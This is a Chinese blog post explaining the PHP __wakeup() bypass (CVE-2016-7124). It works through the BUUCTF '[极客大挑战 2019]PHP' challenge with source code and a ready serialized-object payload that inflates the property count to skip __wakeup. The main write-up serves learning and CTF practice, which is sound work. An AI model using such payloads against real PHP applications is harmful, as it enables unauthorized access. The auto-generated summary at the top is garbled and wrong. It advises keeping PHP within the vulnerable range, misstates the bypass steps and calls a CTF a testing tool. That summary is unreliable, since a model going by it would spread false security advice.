__wakeup()魔术方法绕过(CVE-2016-7124)

wakeup,魔术,方法,绕过,cve · 浏览次数 : 60

小编点评

**__wakeup()魔术方法绕过(CVE-2016-7124)漏洞简介:** 当类中存在__wakeup方法时,调用 unserilize() 方法前则先调用__wakeup方法。当序列化字符串中表示对象属性个数的值大于真实属性个数时,__wakeup方法会跳过执行。 **漏洞修复升级php版本:** 要修复漏洞,要确保php版本在符合CVE-2016-7124漏洞版本区间的版本范围内。 **漏洞绕过方法:** 1. 创建一个包含私有属性的类。 2. 在类中定义__wakeup方法,并将私有属性的值设置为不同的值。 3. 在反序列化字符串之前,先调用__wakeup方法。 4. 在__wakeup方法中,设置私有属性的值。 **漏洞代码示例:** ```php class Name { private $username; private $password; public function __construct($username, $password) { $this->username = $username; $this->password = $password; } public function __wakeup() { // 设置私有属性的值 $this->username = 'guest'; } } ``` **漏洞修复建议:** 1. 更新php版本至版本5.6.25或以上。 2. 对序列化数据进行安全处理,确保所有私有属性值被正确序列化。 3. 运行漏洞测试工具,例如CTF赛题BUUCTF--[极客大挑战 2019]PHP。

正文

__wakeup()魔术方法绕过(CVE-2016-7124)

漏洞简介

在php反序列化数据过程中,如果类中存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,当序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

适用环境

PHP 5<5.6.25; PHP 7<7.0.10

复现过程

环境源码

<?php

//__wakeup:反序列化恢复对象之前调用该方法
//CVE-2016-7124 __wakeup绕过
class Test{
    public $sex;
    public $name;
    public $age;

    public function __construct($name, $age, $sex){
        echo "__construct被调用!<br>";
    }

    public function __wakeup(){
        echo "__wakeup()被调用<br>";
    }

    public function __destruct(){
        echo "__destruct()被调用<br>";
    }

 //

}

unserialize($_GET['x']);
?>

正常执行流程为,网页接受变量x数据进行反序列化操作,__wakeup()魔术方法被调用,然后程序执行完毕,__destruct魔术方法被调用。
在这里插入图片描述

确认php版本是否符合
在这里插入图片描述

修改对象属性个数的值大于真实的属性个数时,__wakeup魔术方法被绕过
在这里插入图片描述

CTF赛题应用

  • BUUCTF--[极客大挑战 2019]PHP
    根据赛题提示,下载www.zip备份文件
    源码
<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}
?>

对代码进行分析可知,想要获取flag需要执行__destruct魔术方法,并且传入的序列化数据中的username值为admin,且password值为100,通过构造pop链可以修改Name类的属性,但是在此网页接受数据之后,会对数据进行反序列化处理,在进行反序列化处理之前会调用__wakeup魔术方法,但是在代码中,__wakeup魔术方法将username进行了重新赋值,因此要想获取flag,必须绕过__wakeup。

确认php版本是否在符合CVE-2016-7124漏洞版本区间(PHP 5<5.6.25; PHP 7<7.0.10)
在这里插入图片描述
构造pop链

<?php

class Name{
    private $username = 'admin';
    private $password = '100';



}

$obj=new Name();
echo  serialize($obj);


?>

得到序列化数据之后要将private型得数据特征表现出来,即private属性序列化的时候格式是%00类名%00成员名,并让对象属性个数大于真实个数。

payload

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

漏洞修复

升级php版本即可

以上内容仅作参考学习,如有瑕疵或错误,希望各位师傅们斧正,感谢阅读。

与__wakeup()魔术方法绕过(CVE-2016-7124)相似的内容: